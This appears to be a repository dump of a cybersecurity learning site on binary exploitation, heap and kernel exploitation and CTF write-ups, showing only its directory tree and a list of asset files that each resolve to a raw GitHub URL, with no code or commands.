├── .gitbook
└── assets
│ ├── aslr-64.zip
│ ├── aslr.zip
│ ├── basic_authentication_ioctl.zip
│ ├── basic_interaction (1).zip
│ ├── basic_interaction.zip
│ ├── calling-convention-multi-param.zip
│ ├── calling-conventions-one-param.zip
│ ├── canary-32.zip
│ ├── canary-64.zip
│ ├── double-free.zip
│ ├── double_fetch_id (1).svg
│ ├── double_fetch_id.svg
│ ├── double_fetch_no_sleep.zip
│ ├── double_fetch_sleep (1).zip
│ ├── double_fetch_sleep.zip
│ ├── exploiting_with_params.zip
│ ├── fastbin_head.svg
│ ├── fmtstr_arb_read.zip
│ ├── fmtstr_arb_write.zip
│ ├── free_chunks.svg
│ ├── got-overwrite-32.zip
│ ├── got-overwrite-64.zip
│ ├── got-overwrite-aslr.zip
│ ├── image (1).png
│ ├── image (10).png
│ ├── image (11).png
│ ├── image (12).png
│ ├── image (13).png
│ ├── image (14).png
│ ├── image (15).png
│ ├── image (16).png
│ ├── image (17).png
│ ├── image (18).png
│ ├── image (19).png
│ ├── image (2) (1).png
│ ├── image (2).png
│ ├── image (20).png
│ ├── image (21).png
│ ├── image (22).png
│ ├── image (23).png
│ ├── image (24).png
│ ├── image (25).png
│ ├── image (26).png
│ ├── image (27).png
│ ├── image (28).png
│ ├── image (29).png
│ ├── image (3).png
│ ├── image (30).png
│ ├── image (31).png
│ ├── image (32).png
│ ├── image (33).png
│ ├── image (34).png
│ ├── image (35).png
│ ├── image (36).png
│ ├── image (37).png
│ ├── image (38).png
│ ├── image (39).png
│ ├── image (4).png
│ ├── image (40).png
│ ├── image (41).png
│ ├── image (42).png
│ ├── image (43).png
│ ├── image (44).png
│ ├── image (45).png
│ ├── image (46).png
│ ├── image (47).png
│ ├── image (48).png
│ ├── image (49).png
│ ├── image (5).png
│ ├── image (6).png
│ ├── image (7).png
│ ├── image (8).png
│ ├── image (9).png
│ ├── image.png
│ ├── introduction.zip
│ ├── pie-32.zip
│ ├── pie-64.zip
│ ├── pie-fmtstr-64.zip
│ ├── pie-fmtstr.zip
│ ├── puts_plt.png
│ ├── reliable_shellcode-32.zip
│ ├── reliable_shellcode-64.zip
│ ├── ret2libc (1).zip
│ ├── ret2plt-64.zip
│ ├── ret2plt.zip
│ ├── ret2win.zip
│ ├── rop_ret2usr.zip
│ ├── rop_ret2usr_6.10.zip
│ ├── rsp_shellcode.zip
│ ├── shellcode.zip
│ ├── sockets.zip
│ ├── srnr.zip
│ ├── stack_pivoting (1).zip
│ ├── stack_pivoting.zip
│ ├── syscalls.zip
│ ├── v8_map_object (1).svg
│ ├── v8_map_object (2).svg
│ ├── v8_map_object.svg
│ ├── v8_map_object_diff_map (1).svg
│ ├── v8_map_object_diff_map (2).svg
│ ├── v8_map_object_diff_map (3).svg
│ └── v8_map_object_diff_map.svg
├── LICENSE.md
├── README.md
├── SUMMARY.md
├── binexp
├── browser-exploitation
│ ├── README.md
│ ├── ctf-2019-oob-v8
│ │ ├── README.md
│ │ └── the-challenge.md
│ ├── picoctf-2021-download-horsepower.md
│ └── picoctf-2021-kit-engine.md
├── heap
│ ├── README.md
│ ├── bins
│ │ ├── README.md
│ │ ├── chunk-allocation-and-reallocation.md
│ │ └── operations-of-the-fastbin.md
│ ├── chunks.md
│ ├── double-free
│ │ ├── README.md
│ │ ├── double-free-exploit.md
│ │ └── double-free-protections.md
│ ├── heap-overflow
│ │ ├── README.md
│ │ ├── heap0.md
│ │ └── heap1.md
│ ├── introduction-to-the-heap.md
│ ├── malloc-state.md
│ ├── malloc_consolidate.md
│ ├── safe-linking.md
│ ├── tcache-keys.md
│ ├── the-tcache
│ │ ├── README.md
│ │ ├── tcache-calloc.md
│ │ └── tcache-poisoning.md
│ ├── unlink-exploit.md
│ └── use-after-free.md
├── kernel
│ ├── README.md
│ ├── a-basic-kernel-interaction-challenge.md
│ ├── compiling-customising-and-booting-the-kernel.md
│ ├── debugging-a-kernel-module.md
│ ├── double-fetch
│ │ ├── README.md
│ │ └── double-fetch-without-sleep.md
│ ├── introduction.md
│ ├── kaslr.md
│ ├── kernel-rop-ret2usr.md
│ ├── kpti.md
│ ├── modprobe_path.md
│ ├── smap.md
│ ├── smep
│ │ ├── README.md
│ │ ├── kernel-rop-disabling-smep.md
│ │ └── kernel-rop-privilege-escalation-in-kernel-space.md
│ ├── the-ultimate-aim-of-kernel-exploitation-process-credentials.md
│ └── writing-a-char-module
│ │ ├── README.md
│ │ ├── a-communicatable-char-driver.md
│ │ └── interactivity-with-ioctl.md
└── stack
│ ├── 32-vs-64-bit.md
│ ├── README.md
│ ├── aslr
│ ├── README.md
│ ├── aslr-bypass-with-given-leak.md
│ ├── plt_and_got.md
│ └── ret2plt-aslr-bypass.md
│ ├── canaries.md
│ ├── de-bruijn-sequences.md
│ ├── exploiting-over-sockets
│ ├── README.md
│ ├── exploit.md
│ └── socat.md
│ ├── forking-processes.md
│ ├── format-string.md
│ ├── got-overwrite
│ ├── README.md
│ └── exploiting-a-got-overwrite.md
│ ├── introduction.md
│ ├── no-execute.md
│ ├── nops.md
│ ├── one-gadgets-and-malloc-hook.md
│ ├── pie
│ ├── README.md
│ ├── pie-bypass.md
│ ├── pie-exploit.md
│ └── pwntools-pie-and-rop.md
│ ├── reliable-shellcode
│ ├── README.md
│ ├── ret2reg
│ │ ├── README.md
│ │ └── using-ret2reg.md
│ ├── rop-and-shellcode.md
│ └── using-rsp.md
│ ├── relro.md
│ ├── ret2csu
│ ├── README.md
│ ├── csu-hardening.md
│ └── exploitation.md
│ ├── ret2dlresolve
│ ├── README.md
│ └── exploitation.md
│ ├── ret2win.md
│ ├── return-oriented-programming
│ ├── README.md
│ ├── calling-conventions.md
│ ├── exploiting-calling-conventions.md
│ ├── gadgets.md
│ ├── ret2libc.md
│ └── stack-alignment.md
│ ├── shellcode.md
│ ├── stack-pivoting
│ ├── README.md
│ └── exploitation
│ │ ├── README.md
│ │ ├── leave.md
│ │ └── pop-rsp.md
│ └── syscalls
│ ├── README.md
│ ├── exploitation-with-syscalls.md
│ └── sigreturn-oriented-programming-srop
│ ├── README.md
│ └── using-srop.md
├── blockchain
└── an-introduction-to-blockchain.md
├── challenges
├── dream-diary-chapter-1.md
├── dream-diary-chapter-1
│ ├── README.md
│ ├── chunk-overlap.md
│ └── unlink-exploit.md
└── ropme.md
├── hackthebox
├── dream-diary-1
│ ├── README.md
│ ├── pwn
│ │ ├── README.md
│ │ ├── do-i-know-you.md
│ │ └── naughty.md
│ └── web
│ │ ├── README.md
│ │ └── php-master.md
└── x-mas-ctf-2020.md
├── hosting-a-testnet-and-deploying-a-contract.md
├── interacting-with-python.md
├── misc
├── challenges-in-containers.md
├── cross-compiling-for-arm32.md
├── pwntools
│ ├── README.md
│ ├── elf.md
│ ├── introduction.md
│ ├── logging_and_context.md
│ ├── packing.md
│ ├── processes_and_communication.md
│ └── rop.md
├── scanf-bypasses.md
└── using-z3.md
├── rev
├── c++-decompilation-tricks.md
├── reverse-engineering-arm.md
└── strings-in-c++.md
├── smart-contracts-and-solidity.md
├── types
├── heap
│ └── double-free
│ │ └── exploiting-a-double-free.md
└── stack
│ ├── got-overwrite.md
│ ├── reliable-shellcode.md
│ ├── ret2csu.md
│ ├── stack-pivoting.md
│ └── unusual-techniques
│ └── untitled.md
└── writeups
├── ctfs
├── README.md
├── fword-ctf-2020
│ ├── README.md
│ ├── binary-exploitation
│ │ ├── README.md
│ │ └── untitled.md
│ └── reversing
│ │ ├── README.md
│ │ └── xo.md
├── htb-cybersanta-2021
│ ├── README.md
│ └── crypto
│ │ ├── README.md
│ │ ├── common-mistake.md
│ │ ├── meet-me-halfway.md
│ │ ├── missing-reindeer.md
│ │ └── xmas-spirit.md
└── x-mas-ctf-2020
│ ├── README.md
│ ├── pwn
│ ├── README.md
│ ├── do-i-know-you.md
│ └── naughty.md
│ └── web
│ ├── README.md
│ └── php-master.md
├── hack-the-box
├── README.md
├── challenges
│ ├── README.md
│ ├── pwn
│ │ ├── README.md
│ │ ├── dream-diary-chapter-1
│ │ │ ├── README.md
│ │ │ ├── chunk-overlap.md
│ │ │ └── unlink-exploit.md
│ │ └── ropme.md
│ └── web
│ │ ├── README.md
│ │ ├── baby-auth.md
│ │ ├── baby-website-rick.md
│ │ ├── looking-glass.md
│ │ └── sanitize.md
└── linux-machines
│ ├── README.md
│ ├── easy-linux
│ ├── README.md
│ └── traceback.md
│ ├── hard
│ ├── README.md
│ └── intense.md
│ └── medium
│ ├── README.md
│ ├── magic.md
│ └── updown.md
└── picogym
├── README.md
└── cryptography
├── 13.md
├── README.md
├── basic-mod1.md
├── basic-mod2.md
├── caesar.md
├── credstuff.md
├── dachshund-attacks.md
├── easy-peasy.md
├── easy1.md
├── hidetosee.md
├── mind-your-ps-and-qs.md
├── mini-rsa.md
├── mod-26.md
├── morse-code.md
├── new-caesar.md
├── no-padding-no-problem.md
├── pixelated.md
├── rail-fence.md
├── substitution0.md
├── substitution1.md
├── substitution2.md
├── the-numbers.md
├── transposition-trial.md
└── vigenere.md
/.gitbook/assets/aslr-64.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/aslr-64.zip
--------------------------------------------------------------------------------
/.gitbook/assets/aslr.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/aslr.zip
--------------------------------------------------------------------------------
/.gitbook/assets/basic_authentication_ioctl.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/basic_authentication_ioctl.zip
--------------------------------------------------------------------------------
/.gitbook/assets/basic_interaction (1).zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/basic_interaction (1).zip
--------------------------------------------------------------------------------
/.gitbook/assets/basic_interaction.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/basic_interaction.zip
--------------------------------------------------------------------------------
/.gitbook/assets/calling-convention-multi-param.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/calling-convention-multi-param.zip
--------------------------------------------------------------------------------
/.gitbook/assets/calling-conventions-one-param.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/calling-conventions-one-param.zip
--------------------------------------------------------------------------------
/.gitbook/assets/canary-32.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/canary-32.zip
--------------------------------------------------------------------------------
/.gitbook/assets/canary-64.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/canary-64.zip
--------------------------------------------------------------------------------
/.gitbook/assets/double-free.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/double-free.zip
--------------------------------------------------------------------------------
/.gitbook/assets/double_fetch_no_sleep.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/double_fetch_no_sleep.zip
--------------------------------------------------------------------------------
/.gitbook/assets/double_fetch_sleep (1).zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/double_fetch_sleep (1).zip
--------------------------------------------------------------------------------
/.gitbook/assets/double_fetch_sleep.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/double_fetch_sleep.zip
--------------------------------------------------------------------------------
/.gitbook/assets/exploiting_with_params.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/exploiting_with_params.zip
--------------------------------------------------------------------------------
/.gitbook/assets/fmtstr_arb_read.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/fmtstr_arb_read.zip
--------------------------------------------------------------------------------
/.gitbook/assets/fmtstr_arb_write.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/fmtstr_arb_write.zip
--------------------------------------------------------------------------------
/.gitbook/assets/got-overwrite-32.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/got-overwrite-32.zip
--------------------------------------------------------------------------------
/.gitbook/assets/got-overwrite-64.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/got-overwrite-64.zip
--------------------------------------------------------------------------------
/.gitbook/assets/got-overwrite-aslr.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/got-overwrite-aslr.zip
--------------------------------------------------------------------------------
/.gitbook/assets/image (1).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (1).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (10).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (10).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (11).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (11).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (12).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (12).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (13).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (13).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (14).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (14).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (15).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (15).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (16).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (16).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (17).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (17).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (18).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (18).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (19).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (19).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (2) (1).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (2) (1).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (2).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (2).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (20).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (20).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (21).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (21).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (22).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (22).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (23).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (23).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (24).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (24).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (25).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (25).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (26).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (26).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (27).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (27).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (28).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (28).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (29).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (29).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (3).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (3).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (30).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (30).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (31).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (31).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (32).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (32).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (33).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (33).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (34).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (34).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (35).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (35).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (36).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (36).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (37).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (37).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (38).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (38).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (39).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (39).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (4).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (4).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (40).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (40).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (41).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (41).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (42).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (42).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (43).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (43).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (44).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (44).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (45).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (45).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (46).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (46).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (47).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (47).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (48).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (48).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (49).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (49).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (5).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (5).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (6).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (6).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (7).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (7).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (8).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (8).png
--------------------------------------------------------------------------------
/.gitbook/assets/image (9).png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (9).png
--------------------------------------------------------------------------------
/.gitbook/assets/image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image.png
--------------------------------------------------------------------------------
/.gitbook/assets/introduction.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/introduction.zip
--------------------------------------------------------------------------------
/.gitbook/assets/pie-32.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/pie-32.zip
--------------------------------------------------------------------------------
/.gitbook/assets/pie-64.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/pie-64.zip
--------------------------------------------------------------------------------
/.gitbook/assets/pie-fmtstr-64.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/pie-fmtstr-64.zip
--------------------------------------------------------------------------------
/.gitbook/assets/pie-fmtstr.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/pie-fmtstr.zip
--------------------------------------------------------------------------------
/.gitbook/assets/puts_plt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/puts_plt.png
--------------------------------------------------------------------------------
/.gitbook/assets/reliable_shellcode-32.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/reliable_shellcode-32.zip
--------------------------------------------------------------------------------
/.gitbook/assets/reliable_shellcode-64.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/reliable_shellcode-64.zip
--------------------------------------------------------------------------------
/.gitbook/assets/ret2libc (1).zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/ret2libc (1).zip
--------------------------------------------------------------------------------
/.gitbook/assets/ret2plt-64.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/ret2plt-64.zip
--------------------------------------------------------------------------------
/.gitbook/assets/ret2plt.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/ret2plt.zip
--------------------------------------------------------------------------------
/.gitbook/assets/ret2win.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/ret2win.zip
--------------------------------------------------------------------------------
/.gitbook/assets/rop_ret2usr.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/rop_ret2usr.zip
--------------------------------------------------------------------------------
/.gitbook/assets/rop_ret2usr_6.10.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/rop_ret2usr_6.10.zip
--------------------------------------------------------------------------------
